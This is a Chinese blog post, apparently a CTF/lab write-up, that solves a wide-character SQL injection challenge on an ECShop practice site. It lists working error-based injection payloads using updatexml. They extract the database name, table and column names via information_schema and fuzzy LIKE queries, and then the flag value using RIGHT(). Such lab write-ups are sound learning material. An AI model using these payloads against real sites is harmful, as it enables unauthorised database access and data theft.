0
点赞
收藏
分享

微信扫一扫

安鸾靶场 宽字符注入02 靶场练习 详细过程及解决问题笔记

皮皮球场 2022-02-06 阅读 51

题目

网站URL ECSHOP演示站 - Powered by ECShop

目录

 

笔记

 过程

进入sql注入页面

问题 判断闭合符

sql注入下的模糊查询

 right 语法爆字段值


 

笔记

 过程

 

 

爆数据库

2')%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#

爆表名

2')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3d"ecshop"%20limit%200,1),0x7e),1)#

 

爆出3个无关表名 还有一个不完整。。。。。。

昨天头铁 通过修改limit 的值一直去重复,40多次才爆出来

下面利用模糊查询

 

2') and updatexml(1,concat(0x7e,(select table_name  from information_schema.tables where table_schema="ecshop" and table_name like '%flag%'),0x7e),1)#

 模糊查询爆字段名

2') and updatexml(1,concat(0x7e,(select column_name  from information_schema.columns where table_name="ecs_flag" and column_name like '%flag%'),0x7e),1)#

 正常方法

2') and updatexml(1,concat(0x7e,(select flag from ecs_flag ),0x7e),1)#

结果

 right 语法

2')  and updatexml(1,concat(0x7e,(select(group_concat((right(flag,20)))) from (ecs_flag) ),0x7e),1)#

 

 

去除重复字段即可得到flag。

参考链接

SQL注入:宽字符注入_zh的博客-CSDN博客

SQL注入原理及如何判断闭合符_大大大蜜蜂的博客-CSDN博客_sql注入怎么判断闭合方式

mysql中模糊查询的四种用法: - 林小某lin - 博客园

MySQL RIGHT()用法及代码示例 - 纯净天空

天天学这么累打把游戏不过分把

 

举报

相关推荐

0 条评论